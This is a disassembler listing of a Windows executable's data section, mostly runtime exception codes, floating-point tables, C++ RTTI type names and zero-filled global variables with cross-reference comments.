off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4C4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432948o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
dword_4B5248	dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
